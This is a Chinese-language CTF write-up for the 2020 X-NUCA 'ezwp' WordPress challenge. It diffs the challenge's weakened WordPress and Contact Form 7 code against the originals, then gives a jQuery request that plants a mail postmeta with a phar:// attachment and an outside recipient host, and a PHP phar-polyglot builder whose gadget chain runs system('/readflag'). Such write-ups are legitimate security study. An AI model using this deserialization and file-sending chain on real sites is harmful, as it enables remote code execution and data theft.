2020xnuca_ezwp题解

2020 xnuca ezwp题解

wpscan扫一波发现wp是最新版本

本地搭好环境后,登入后台发现,有个插件是n年前的版本,很明显漏洞点在这

漏洞分析:https://paper.seebug.org/774/

对wp和插件对比以下官方下载的,存在以下差异

文件对比

wordpress

/wp-admin/includes/class-wp-screen.php 294行


官方

1
2
3
4
5
6
7
8
9
if ( isset( $_GET['post'] ) && isset( $_POST['post_ID'] ) && (int) $_GET['post'] !== (int) $_POST['post_ID'] ) {
wp_die( __( 'A post ID mismatch has been detected.' ), __( 'Sorry, you are not allowed to edit this item.' ), 400 );
} elseif ( isset( $_GET['post'] ) ) {
$post_id = (int) $_GET['post'];
} elseif ( isset( $_POST['post_ID'] ) ) {
$post_id = (int) $_POST['post_ID'];
} else {
$post_id = 0;
}

题目

1
2
3
4
5
6
7
if ( isset( $_GET['post'] ) ) {
$post_id = (int) $_GET['post'];
} elseif ( isset( $_POST['post_ID'] ) ) {
$post_id = (int) $_POST['post_ID'];
} else {
$post_id = 0;
}

/wp-admin/includes/file.php 762行加了一个文件名不能包含php的waf(只检测了小写)

官方

1

题目

1
2
3
if ( (stristr(file_get_contents($file['tmp_name']), "php") !== FALSE) ) {
return call_user_func_array( $upload_error_handler, array( &$file, __( 'Sorry, this file content is not permitted for security reasons.' ) ) );
}

/wp-admin/includes/post.php 221

array_diff_key 参数少了’file’

官方

1
return array_diff_key( $post_data, array_flip( array( 'meta_input', 'file', 'guid' ) ) );

题目

1
return array_diff_key( $post_data, array_flip( array( 'meta_input', 'guid' ) ) );

wp-admin/post.php 19行,少了很多条件

官方

1
2
3
4
5
6
7
8
9
if ( isset( $_GET['post'] ) && isset( $_POST['post_ID'] ) && (int) $_GET['post'] !== (int) $_POST['post_ID'] ) {
wp_die( __( 'A post ID mismatch has been detected.' ), __( 'Sorry, you are not allowed to edit this item.' ), 400 );
} elseif ( isset( $_GET['post'] ) ) {
$post_id = (int) $_GET['post'];
} elseif ( isset( $_POST['post_ID'] ) ) {
$post_id = (int) $_POST['post_ID'];
} else {
$post_id = 0;
}

题目

1
2
3
4
5
6
7
if ( isset( $_GET['post'] ) ) {
$post_id = (int) $_GET['post'];
} elseif ( isset( $_POST['post_ID'] ) ) {
$post_id = (int) $_POST['post_ID'];
} else {
$post_id = 0;
}

wp-includes\Requests\Utility\FilteredIterator.php
删除了:

1
2
3
4
5
6
7
8
9
10
11
12
public function unserialize( $serialized ) {
}

/**
* @inheritdoc
*/
public function __unserialize( $serialized ) { // phpcs:ignore PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.MethodDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.NewMagicMethods.__unserializeFound
}

public function __wakeup() { // phpcs:ignore PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.MethodDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.NewMagicMethods.__wakeupFound
unset( $this->callback );
}

contact form 7

原来:
134行:

1
2
    return wp_mail( $recipient, $subject, $body, $headers, $attachments );
}

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
return $this->send_mail( $recipient, $subject, $body, $headers, $attachments );
}

public function send_mail($to, $subject, $message, $headers = '', $attachments = array()) {
try {
$host = explode("@", $to)[1];
$url = "http://$host";
$post_data = array(
"subject" => $subject,
"message" => $message,
"headers" => $headers
);
if ($attachments !== array()) {
if (!empty($attachments[0])) {
$post_data["file"] = curl_file_create($attachments[0]);
}
}
$ch = curl_init();
curl_setopt($ch , CURLOPT_URL , $url);
curl_setopt($ch , CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch , CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP);
curl_setopt($ch , CURLOPT_POSTFIELDS, $post_data);
$data = curl_exec($ch);
curl_close($ch);
if ($data) {
file_put_contents("/tmp/1.log", $data);
}
return true;
} catch (Exception $e) {
return false;
}
}

思路

跟以下之前的漏洞发现,漏洞点调用了wp_mail,而题目改成了send_mail,里面的存在文件系统相关的函数,加上题目删除反序列化的方法,大概率思路就是利用之前的漏洞+反序列化getshell

绕过最新版本wp限制来利用历史漏洞

利用原来的payload直接打过去发现不太行,跟踪发现:

/wp-admin/includes/post.php 221:

return array_diff_key( $post_data, array_flip( array( 'meta_input', 'guid' ) ) );

最新版wp对post数据进行了过滤,删除了meta_input和guid的键,导致我们无法写入postmeta,继续跟踪发现有个地方可以用别的键写入postmeta:

/wp-admin/includes/post.php 872:

add_meta( $post_ID );

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function add_meta( $post_ID ) {
$post_ID = (int) $post_ID;

$metakeyselect = isset( $_POST['metakeyselect'] ) ? wp_unslash( trim( $_POST['metakeyselect'] ) ) : '';
$metakeyinput = isset( $_POST['metakeyinput'] ) ? wp_unslash( trim( $_POST['metakeyinput'] ) ) : '';
$metavalue = isset( $_POST['metavalue'] ) ? $_POST['metavalue'] : '';
if ( is_string( $metavalue ) ) {
$metavalue = trim( $metavalue );
}

if ( ( ( '#NONE#' !== $metakeyselect ) && ! empty( $metakeyselect ) ) || ! empty( $metakeyinput ) ) {
/*
* We have a key/value pair. If both the select and the input
* for the key have data, the input takes precedence.
*/
if ( '#NONE#' !== $metakeyselect ) {
$metakey = $metakeyselect;
}

if ( $metakeyinput ) {
$metakey = $metakeyinput; // Default.
}

if ( is_protected_meta( $metakey, 'post' ) || ! current_user_can( 'add_post_meta', $post_ID, $metakey ) ) {
return false;
}

$metakey = wp_slash( $metakey );

return add_post_meta( $post_ID, $metakey, $metavalue );
}

return false;
}

但是这里有个is_protected_meta,跟进去发现这个函数限制了我们的键不能以_开头,按照原来的payload,到这里好像死路了。

但是我们跟踪以下插件渲染表单的代码发现

contact-form.php:129

class WPCF7_ContactForm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private function __construct( $post = null ) {
$post = get_post( $post );

if ( $post && self::post_type == get_post_type( $post ) ) {
$this->id = $post->ID;
$this->name = $post->post_name;
$this->title = $post->post_title;
$this->locale = get_post_meta( $post->ID, '_locale', true );

$properties = $this->get_properties();

foreach ( $properties as $key => $value ) {
if ( metadata_exists( 'post', $post->ID, '_' . $key ) ) {
$properties[$key] = get_post_meta( $post->ID, '_' . $key, true );
} elseif ( metadata_exists( 'post', $post->ID, $key ) ) {
$properties[$key] = get_post_meta( $post->ID, $key, true );
}
}

$this->properties = $properties;
$this->upgrade();
}

do_action( 'wpcf7_contact_form', $this );
}

contact form 的属性啥的就是从$properties中取出(_mail就在这里面),想要利用历史漏洞我们必须能够控制_mail的值

metadata_exists( 'post', $post->ID, '_' . $key ):它先会去表中查找"_"."mail"这个属性,没有的话再去查找"mail"属性,正好我们前面找到一个可以控制非_开头的postmeta

于是构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
var settings = {
"async": true,
"crossDomain": true,
"url": "/wp-admin/post.php?post=1",
"method": "POST",
"data": {
"_wpnonce": document.getElementById("_wpnonce").value,
"_wp_http_referer": "%2Fwp-admin%2Fpost-new.php",
"user_ID": "3",
"action": "post",
"originalaction": "editpost",
"post_author": "3",
"post_type": "wpcf7_contact_form",
"original_post_status": "auto-draft",
"auto_draft": "",
"post_title": "readflagtotmp2log",
"content": "test",
"wp-preview": "",
"hidden_post_status": "draft",
"post_status": "draft",
"hidden_post_password": "",
"hidden_post_visibility": "public",
"visibility": "public",
"post_password": "",
"mm": "12",
"jj": "22",
"_thumbnail_id": "-1",
"advanced_view": "1",
"comment_status": "open",
"ping_status": "open",
"post_name": "",
"metakeyinput":"mail",
"metavalue[subject]": "test \"[your-subject]\"",
"metavalue[sender]": "2",
"metavalue[recipient]": "[email protected]:60000",
"metavalue[body]": "From: [your-name] <[your-email]>\\nSubject: [your-subject]\\n\\nMessage Body:\\n[your-message]\\n\\n-- \\n",
"metavalue[additional_headers]": "Reply-To: [your-email]",
"metavalue[attachments]": "phar://./wp-content/uploads/2020/12/phar.jpg",
"metavalue[use_html]": "false",
"metavalue[exclude_blank]": "false",
"metakeyselect":"#NONE#"

}
}
jQuery.ajax(settings).done(function (response) {
console.log(response);
});

在dashboard那里执行这个js

成功写入mail:

image8421

因为没有_form属性(上面那个设置postmeta的一次只能设置一个),所以我们要手动提交jQuery(".wpcf7-form").submit(),接着就可以读取文件和反序列化了

反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

namespace Kigkonsult\Icalcreator{
class Vtimezone{
public $timezonetype;
public $components;
public function __construct($val)
{
$this->components = $val;
}
}
}
namespace {

require( 'wp-load.php' ); //???????
require_once( dirname( __FILE__ ) . '/wp-includes/Requests/Utility/FilteredIterator.php' );
$arr = array(
"1" => "/readflag>/tmp/2.log" //payload
);
$obj_ = new Requests_Utility_FilteredIterator( $arr, "system" );
$obj = new Kigkonsult\Icalcreator\Vtimezone( $obj_ );


@unlink( "test.gif" );
$phar = new Phar( "test.phar" );
$phar->startBuffering();
$phar->setStub( base64_decode( "/9j/4AAQSkZJRgABAgEASABIAAD//gARSlBFRyBJbWFnZXIgMi4x/9sAhAAGBAUGBQQGBgUGBwcGCAoQCgoJCQoUDg8MEBcUGBgXFBYWGh0lHxobIxwWFiAsICMmJykqKRkfLTAtKDAlKCkoAQMEBAUE" ) . " __HALT_COMPILER(); ?>" );
$phar->setMetadata( $obj );
$phar->addFromString( "test.txt", "test" ); //????????
//??????
$phar->stopBuffering();
rename( "test.phar", "test.gif" );
}